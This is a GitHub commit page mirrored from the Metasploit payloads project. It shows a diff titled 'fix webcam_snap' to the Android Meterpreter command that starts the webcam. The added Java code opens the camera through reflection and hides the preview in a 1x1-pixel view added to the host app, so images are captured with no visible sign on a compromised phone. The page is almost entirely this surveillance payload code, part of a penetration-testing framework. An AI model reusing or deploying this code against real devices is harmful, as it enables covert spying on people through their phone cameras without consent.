github/metasploit-payloads
1
Fork 0
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-24 18:16:24 +01:00
Code Releases Activity

fix webcam_snap

Browse Source
This commit is contained in:
Tim 2014-02-10 03:24:32 +00:00
parent bc1c0e4f8c
commit 3c5a00a558
1 changed files with 62 additions and 7 deletions

69
java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_start_android.java

@ -1,14 +1,24 @@
package com.metasploit.meterpreter.android;
import android.app.Activity;
import android.content.Context;
import android.hardware.Camera;
import android.os.Handler;
import android.util.Log;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
import android.view.View;
import android.view.ViewGroup;
import com.metasploit.meterpreter.AndroidMeterpreter;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
import android.hardware.Camera;
import android.util.Log;
import java.io.IOException;
import java.lang.Override;
import java.lang.reflect.Method;
public class webcam_start_android extends webcam_audio_record implements Command {
@ -17,21 +27,66 @@ public class webcam_start_android extends webcam_audio_record implements Command
private static final int TLV_TYPE_WEBCAM_INTERFACE_ID = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2);
public static Camera camera;
public static SurfaceHolder surfaceHolder;
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int camId = request.getIntValue(TLV_TYPE_WEBCAM_INTERFACE_ID);
try {
Class<?> cameraClass = Class.forName("android.hardware.Camera");
Method cameraOpenMethod = cameraClass.getMethod("open", Integer.TYPE);
if (cameraOpenMethod != null) {
camera = (Camera)cameraOpenMethod.invoke(null, camId - 1);
camera = (Camera) cameraOpenMethod.invoke(null, camId - 1);
} else {
camera = Camera.open();
}
camera.setPreviewDisplay(null);
camera.startPreview();
AndroidMeterpreter androidMeterpreter = (AndroidMeterpreter) meterpreter;
final Context context = androidMeterpreter.getContext();
Handler handler = new Handler(context.getMainLooper());
handler.post(new Runnable() {
@Override
public void run() {
SurfaceView surfaceView = new SurfaceView(context);
surfaceHolder = surfaceView.getHolder();
surfaceHolder.addCallback(new SurfaceHolder.Callback() {
@Override
public void surfaceCreated(SurfaceHolder holder) {
Log.e(getClass().getSimpleName(), "surfaceCreated");
try {
camera.setPreviewDisplay(holder);
} catch (IOException e) {
}
}
@Override
public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
Log.e(getClass().getSimpleName(), "surfaceChanged");
if (camera == null) {
return;
}
camera.startPreview();
synchronized (webcam_start_android.this) {
webcam_start_android.this.notify();
}
}
@Override
public void surfaceDestroyed(SurfaceHolder holder) {
}
});
surfaceHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
Activity activity = (Activity)context;
ViewGroup.LayoutParams layoutParams = new ViewGroup.LayoutParams(1, 1);
activity.addContentView(surfaceView, layoutParams);
}
});
synchronized (this) {
wait(4000);
}
} catch (Exception e) {
Log.e(getClass().getSimpleName(), "webcam error ", e);